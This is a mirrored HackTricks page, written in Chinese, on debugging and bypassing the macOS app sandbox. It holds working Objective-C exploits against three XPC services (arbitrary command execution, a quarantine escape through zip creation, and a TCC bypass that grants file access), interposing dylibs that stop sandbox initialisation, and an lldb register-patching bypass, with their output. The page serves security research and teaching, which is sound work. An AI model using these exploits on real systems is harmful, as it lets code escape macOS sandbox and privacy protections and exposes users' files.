mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
468 lines
21 KiB
Markdown
468 lines
21 KiB
Markdown
# macOS Sandbox Debug & Bypass
|
||
|
||
{{#include ../../../../../banners/hacktricks-training.md}}
|
||
|
||
## Sandbox loading process
|
||
|
||
<figure><img src="../../../../../images/image (901).png" alt=""><figcaption><p>图片来自 <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
|
||
|
||
在前面的图像中,可以观察到 **沙箱将如何加载** 当一个具有 **`com.apple.security.app-sandbox`** 权限的应用程序运行时。
|
||
|
||
编译器将链接 `/usr/lib/libSystem.B.dylib` 到二进制文件。
|
||
|
||
然后,**`libSystem.B`** 将调用其他几个函数,直到 **`xpc_pipe_routine`** 将应用程序的权限发送到 **`securityd`**。Securityd 检查该进程是否应该在沙箱内被隔离,如果是,它将被隔离。\
|
||
最后,沙箱将通过调用 **`__sandbox_ms`** 激活,该调用将调用 **`__mac_syscall`**。
|
||
|
||
## Possible Bypasses
|
||
|
||
### Bypassing quarantine attribute
|
||
|
||
**沙箱进程创建的文件** 会附加 **隔离属性** 以防止沙箱逃逸。然而,如果你能够 **在沙箱应用程序内创建一个没有隔离属性的 `.app` 文件夹**,你可以使应用程序包的二进制文件指向 **`/bin/bash`** 并在 **plist** 中添加一些环境变量,以利用 **`open`** 来 **启动新的未沙箱应用程序**。
|
||
|
||
这就是在 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)** 中所做的。**
|
||
|
||
> [!CAUTION]
|
||
> 因此,目前,如果你仅能创建一个以 **`.app`** 结尾且没有隔离属性的文件夹,你可以逃离沙箱,因为 macOS 只 **检查** **`.app` 文件夹** 和 **主可执行文件** 中的 **隔离** 属性(我们将主可执行文件指向 **`/bin/bash`**)。
|
||
>
|
||
> 请注意,如果一个 .app 包已经被授权运行(它具有带有授权运行标志的隔离 xttr),你也可以利用它……只是现在你不能在 **`.app`** 包内写入,除非你拥有一些特权 TCC 权限(在高沙箱内你将没有这些权限)。
|
||
|
||
### Abusing Open functionality
|
||
|
||
在 [**Word 沙箱绕过的最后示例**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) 中可以看到如何滥用 **`open`** CLI 功能来绕过沙箱。
|
||
|
||
{{#ref}}
|
||
macos-office-sandbox-bypasses.md
|
||
{{#endref}}
|
||
|
||
### Launch Agents/Daemons
|
||
|
||
即使一个应用程序 **旨在被沙箱化** (`com.apple.security.app-sandbox`),如果它是 **从 LaunchAgent 执行**(例如 `~/Library/LaunchAgents`),也可以绕过沙箱。\
|
||
正如在 [**这篇文章**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818) 中所解释的,如果你想要在一个沙箱应用程序中获得持久性,你可以使其作为 LaunchAgent 自动执行,并可能通过 DyLib 环境变量注入恶意代码。
|
||
|
||
### Abusing Auto Start Locations
|
||
|
||
如果一个沙箱进程可以 **写入** 一个 **稍后将运行二进制文件的未沙箱应用程序** 的位置,它将能够 **通过将二进制文件放置在那里** 来逃离沙箱。这种位置的一个好例子是 `~/Library/LaunchAgents` 或 `/System/Library/LaunchDaemons`。
|
||
|
||
为此,你可能需要 **2 步**:使一个具有 **更宽松沙箱** (`file-read*`, `file-write*`) 的进程执行你的代码,该代码实际上将在一个 **未沙箱的地方执行**。
|
||
|
||
查看关于 **自动启动位置** 的页面:
|
||
|
||
{{#ref}}
|
||
../../../../macos-auto-start-locations.md
|
||
{{#endref}}
|
||
|
||
### Abusing other processes
|
||
|
||
如果从沙箱进程中你能够 **妥协其他在较少限制沙箱(或没有沙箱)中运行的进程**,你将能够逃离它们的沙箱:
|
||
|
||
{{#ref}}
|
||
../../../macos-proces-abuse/
|
||
{{#endref}}
|
||
|
||
### Available System and User Mach services
|
||
|
||
沙箱还允许通过在配置文件 `application.sb` 中定义的 XPC 与某些 **Mach 服务** 进行通信。如果你能够 **滥用** 其中一个服务,你可能能够 **逃离沙箱**。
|
||
|
||
正如在 [这篇文章](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/) 中所指出的,关于 Mach 服务的信息存储在 `/System/Library/xpc/launchd.plist` 中。可以通过在该文件中搜索 `<string>System</string>` 和 `<string>User</string>` 来找到所有系统和用户 Mach 服务。
|
||
|
||
此外,可以通过调用 `bootstrap_look_up` 来检查某个 Mach 服务是否可用于沙箱应用程序:
|
||
```objectivec
|
||
void checkService(const char *serviceName) {
|
||
mach_port_t service_port = MACH_PORT_NULL;
|
||
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
|
||
if (!err) {
|
||
NSLog(@"available service:%s", serviceName);
|
||
mach_port_deallocate(mach_task_self_, service_port);
|
||
}
|
||
}
|
||
|
||
void print_available_xpc(void) {
|
||
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
|
||
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
|
||
for (NSString* key in launchDaemons) {
|
||
NSDictionary<NSString*, id>* job = launchDaemons[key];
|
||
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
|
||
for (NSString* serviceName in machServices) {
|
||
checkService(serviceName.UTF8String);
|
||
}
|
||
}
|
||
}
|
||
```
|
||
### 可用的 PID Mach 服务
|
||
|
||
这些 Mach 服务最初被滥用以 [在这篇文章中逃离沙盒](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)。那时,**应用程序及其框架所需的所有 XPC 服务**在应用程序的 PID 域中都是可见的(这些是 `ServiceType` 为 `Application` 的 Mach 服务)。
|
||
|
||
为了 **联系一个 PID 域 XPC 服务**,只需在应用程序中注册它,使用如下代码:
|
||
```objectivec
|
||
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
|
||
```
|
||
此外,可以通过在 `System/Library/xpc/launchd.plist` 中搜索 `<string>Application</string>` 来找到所有的 **Application** Mach 服务。
|
||
|
||
找到有效的 xpc 服务的另一种方法是检查以下服务:
|
||
```bash
|
||
find /System/Library/Frameworks -name "*.xpc"
|
||
find /System/Library/PrivateFrameworks -name "*.xpc"
|
||
```
|
||
几个滥用此技术的示例可以在 [**原始报告**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/) 中找到,然而,以下是一些总结的示例。
|
||
|
||
#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
|
||
|
||
此服务通过始终返回 `YES` 来允许每个 XPC 连接,方法 `runTask:arguments:withReply:` 执行任意命令和任意参数。
|
||
|
||
该漏洞的利用“简单到”:
|
||
```objectivec
|
||
@protocol SKRemoteTaskRunnerProtocol
|
||
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
|
||
@end
|
||
|
||
void exploit_storagekitfsrunner(void) {
|
||
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
|
||
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
|
||
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
|
||
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
|
||
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
|
||
[conn resume];
|
||
|
||
[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
|
||
NSLog(@"run task result:%@, error:%@", bSucc, error);
|
||
}];
|
||
}
|
||
```
|
||
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
|
||
|
||
这个 XPC 服务允许每个客户端始终返回 YES,方法 `createZipAtPath:hourThreshold:withReply:` 基本上允许指示要压缩的文件夹路径,并将其压缩为 ZIP 文件。
|
||
|
||
因此,可以生成一个虚假的应用程序文件夹结构,压缩它,然后解压并执行,以逃离沙盒,因为新文件将没有隔离属性。
|
||
|
||
利用的漏洞是:
|
||
```objectivec
|
||
@protocol AudioAnalyticsHelperServiceProtocol
|
||
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
|
||
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
|
||
@end
|
||
void exploit_AudioAnalyticsHelperService(void) {
|
||
NSString *currentPath = NSTemporaryDirectory();
|
||
chdir([currentPath UTF8String]);
|
||
NSLog(@"======== preparing payload at the current path:%@", currentPath);
|
||
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
|
||
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
|
||
system("chmod +x compressed/poc.app/Contents/MacOS/poc");
|
||
|
||
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
|
||
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
|
||
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
|
||
[conn resume];
|
||
|
||
[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
|
||
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
|
||
NSString *file;
|
||
while ((file = [dirEnum nextObject])) {
|
||
if ([[file pathExtension] isEqualToString: @"zip"]) {
|
||
// open the zip
|
||
NSString *cmd = [@"open " stringByAppendingString:file];
|
||
system([cmd UTF8String]);
|
||
|
||
sleep(3); // wait for decompression and then open the payload (poc.app)
|
||
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
|
||
system([cmd2 UTF8String]);
|
||
break;
|
||
}
|
||
}
|
||
}];
|
||
}
|
||
```
|
||
#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
|
||
|
||
此 XPC 服务允许通过方法 `extendAccessToURL:completion:` 为 XPC 客户端提供对任意 URL 的读写访问,该方法接受任何连接。由于 XPC 服务具有 FDA,因此可以滥用这些权限以完全绕过 TCC。
|
||
|
||
漏洞是:
|
||
```objectivec
|
||
@protocol WFFileAccessHelperProtocol
|
||
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
|
||
@end
|
||
typedef int (*PFN)(const char *);
|
||
void expoit_ShortcutsFileAccessHelper(NSString *target) {
|
||
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
|
||
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
|
||
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
|
||
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
|
||
[conn resume];
|
||
|
||
[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
|
||
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
|
||
NSURL *targetURL = [fpWrapper url];
|
||
|
||
void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
|
||
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
|
||
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
|
||
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
|
||
else {
|
||
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
|
||
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
|
||
}
|
||
}];
|
||
}
|
||
```
|
||
### 静态编译与动态链接
|
||
|
||
[**这项研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) 发现了绕过沙箱的两种方法。因为沙箱是在用户空间中应用的,当 **libSystem** 库被加载时。如果一个二进制文件能够避免加载它,它将永远不会被沙箱化:
|
||
|
||
- 如果二进制文件是 **完全静态编译** 的,它可以避免加载该库。
|
||
- 如果 **二进制文件不需要加载任何库**(因为链接器也在 libSystem 中),它就不需要加载 libSystem。
|
||
|
||
### Shellcodes
|
||
|
||
请注意,**即使是 shellcodes** 在 ARM64 中也需要链接到 `libSystem.dylib`:
|
||
```bash
|
||
ld -o shell shell.o -macosx_version_min 13.0
|
||
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
|
||
```
|
||
### 不继承的限制
|
||
|
||
正如在 **[这篇文章的附加内容](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)** 中所解释的,沙箱限制如:
|
||
```
|
||
(version 1)
|
||
(allow default)
|
||
(deny file-write* (literal "/private/tmp/sbx"))
|
||
```
|
||
可以通过一个新进程执行来绕过,例如:
|
||
```bash
|
||
mkdir -p /tmp/poc.app/Contents/MacOS
|
||
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
|
||
chmod +x /tmp/poc.app/Contents/MacOS/poc
|
||
open /tmp/poc.app
|
||
```
|
||
然而,当然,这个新进程不会从父进程继承权限或特权。
|
||
|
||
### 权限
|
||
|
||
请注意,即使某些 **操作** 可能在沙箱中 **被允许**,如果应用程序具有特定的 **权限**,例如:
|
||
```scheme
|
||
(when (entitlement "com.apple.security.network.client")
|
||
(allow network-outbound (remote ip))
|
||
(allow mach-lookup
|
||
(global-name "com.apple.airportd")
|
||
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
|
||
(global-name "com.apple.cfnetwork.cfnetworkagent")
|
||
[...]
|
||
```
|
||
### Interposting Bypass
|
||
|
||
有关 **Interposting** 的更多信息,请查看:
|
||
|
||
{{#ref}}
|
||
../../../macos-proces-abuse/macos-function-hooking.md
|
||
{{#endref}}
|
||
|
||
#### Interpost `_libsecinit_initializer` 以防止沙盒
|
||
```c
|
||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||
|
||
#include <stdio.h>
|
||
|
||
void _libsecinit_initializer(void);
|
||
|
||
void overriden__libsecinit_initializer(void) {
|
||
printf("_libsecinit_initializer called\n");
|
||
}
|
||
|
||
__attribute__((used, section("__DATA,__interpose"))) static struct {
|
||
void (*overriden__libsecinit_initializer)(void);
|
||
void (*_libsecinit_initializer)(void);
|
||
}
|
||
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
|
||
```
|
||
|
||
```bash
|
||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
||
_libsecinit_initializer called
|
||
Sandbox Bypassed!
|
||
```
|
||
#### 插入 `__mac_syscall` 以防止沙盒
|
||
```c:interpose.c
|
||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||
|
||
#include <stdio.h>
|
||
#include <string.h>
|
||
|
||
// Forward Declaration
|
||
int __mac_syscall(const char *_policyname, int _call, void *_arg);
|
||
|
||
// Replacement function
|
||
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
|
||
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
|
||
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
|
||
printf("Bypassing Sandbox initiation.\n");
|
||
return 0; // pretend we did the job without actually calling __mac_syscall
|
||
}
|
||
// Call the original function for other cases
|
||
return __mac_syscall(_policyname, _call, _arg);
|
||
}
|
||
|
||
// Interpose Definition
|
||
struct interpose_sym {
|
||
const void *replacement;
|
||
const void *original;
|
||
};
|
||
|
||
// Interpose __mac_syscall with my_mac_syscall
|
||
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
|
||
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
|
||
};
|
||
```
|
||
|
||
```bash
|
||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
||
|
||
__mac_syscall invoked. Policy: Sandbox, Call: 2
|
||
__mac_syscall invoked. Policy: Sandbox, Call: 2
|
||
__mac_syscall invoked. Policy: Sandbox, Call: 0
|
||
Bypassing Sandbox initiation.
|
||
__mac_syscall invoked. Policy: Quarantine, Call: 87
|
||
__mac_syscall invoked. Policy: Sandbox, Call: 4
|
||
Sandbox Bypassed!
|
||
```
|
||
### 使用 lldb 调试和绕过沙箱
|
||
|
||
让我们编译一个应该被沙箱化的应用程序:
|
||
|
||
{{#tabs}}
|
||
{{#tab name="sand.c"}}
|
||
```c
|
||
#include <stdlib.h>
|
||
int main() {
|
||
system("cat ~/Desktop/del.txt");
|
||
}
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="entitlements.xml"}}
|
||
```xml
|
||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||
<dict>
|
||
<key>com.apple.security.app-sandbox</key>
|
||
<true/>
|
||
</dict>
|
||
</plist>
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="Info.plist"}}
|
||
```xml
|
||
<plist version="1.0">
|
||
<dict>
|
||
<key>CFBundleIdentifier</key>
|
||
<string>xyz.hacktricks.sandbox</string>
|
||
<key>CFBundleName</key>
|
||
<string>Sandbox</string>
|
||
</dict>
|
||
</plist>
|
||
```
|
||
{{#endtab}}
|
||
{{#endtabs}}
|
||
|
||
然后编译应用程序:
|
||
```bash
|
||
# Compile it
|
||
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
|
||
|
||
# Create a certificate for "Code Signing"
|
||
|
||
# Apply the entitlements via signing
|
||
codesign -s <cert-name> --entitlements entitlements.xml sand
|
||
```
|
||
> [!CAUTION]
|
||
> 该应用程序将尝试**读取**文件**`~/Desktop/del.txt`**,而**Sandbox 不会允许**。\
|
||
> 在那里创建一个文件,因为一旦绕过 Sandbox,它将能够读取它:
|
||
>
|
||
> ```bash
|
||
> echo "Sandbox Bypassed" > ~/Desktop/del.txt
|
||
> ```
|
||
|
||
让我们调试应用程序,看看 Sandbox 何时加载:
|
||
```bash
|
||
# Load app in debugging
|
||
lldb ./sand
|
||
|
||
# Set breakpoint in xpc_pipe_routine
|
||
(lldb) b xpc_pipe_routine
|
||
|
||
# run
|
||
(lldb) r
|
||
|
||
# This breakpoint is reached by different functionalities
|
||
# Check in the backtrace is it was de sandbox one the one that reached it
|
||
# We are looking for the one libsecinit from libSystem.B, like the following one:
|
||
(lldb) bt
|
||
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
||
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
|
||
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
|
||
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
|
||
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
|
||
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272
|
||
|
||
# To avoid lldb cutting info
|
||
(lldb) settings set target.max-string-summary-length 10000
|
||
|
||
# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
|
||
(lldb) p (char *) xpc_copy_description($x1)
|
||
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
|
||
|
||
# The 3 arg is the address were the XPC response will be stored
|
||
(lldb) register read x2
|
||
x2 = 0x000000016fdfd660
|
||
|
||
# Move until the end of the function
|
||
(lldb) finish
|
||
|
||
# Read the response
|
||
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
|
||
(lldb) memory read -f p 0x000000016fdfd660 -c 1
|
||
0x16fdfd660: 0x0000600003d04000
|
||
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
|
||
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
|
||
|
||
# To bypass the sandbox we need to skip the call to __mac_syscall
|
||
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
|
||
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
|
||
(lldb) c
|
||
|
||
# The 1 arg is the name of the policy, in this case "Sandbox"
|
||
(lldb) memory read -f s $x0
|
||
0x19300eb22: "Sandbox"
|
||
|
||
#
|
||
# BYPASS
|
||
#
|
||
|
||
# Due to the previous bp, the process will be stopped in:
|
||
Process 2517 stopped
|
||
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
||
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
|
||
libsystem_kernel.dylib`:
|
||
-> 0x187659900 <+0>: mov x16, #0x17d
|
||
0x187659904 <+4>: svc #0x80
|
||
0x187659908 <+8>: b.lo 0x187659928 ; <+40>
|
||
0x18765990c <+12>: pacibsp
|
||
|
||
# To bypass jump to the b.lo address modifying some registers first
|
||
(lldb) breakpoint delete 1 # Remove bp
|
||
(lldb) register write $pc 0x187659928 #b.lo address
|
||
(lldb) register write $x0 0x00
|
||
(lldb) register write $x1 0x00
|
||
(lldb) register write $x16 0x17d
|
||
(lldb) c
|
||
Process 2517 resuming
|
||
Sandbox Bypassed!
|
||
Process 2517 exited with status = 0 (0x00000000)
|
||
```
|
||
> [!WARNING] > **即使绕过了沙盒,TCC** 仍会询问用户是否允许该进程读取桌面上的文件
|
||
|
||
## References
|
||
|
||
- [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf)
|
||
- [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)
|
||
- [https://www.youtube.com/watch?v=mG715HcDgO8](https://www.youtube.com/watch?v=mG715HcDgO8)
|
||
|
||
{{#include ../../../../../banners/hacktricks-training.md}}
|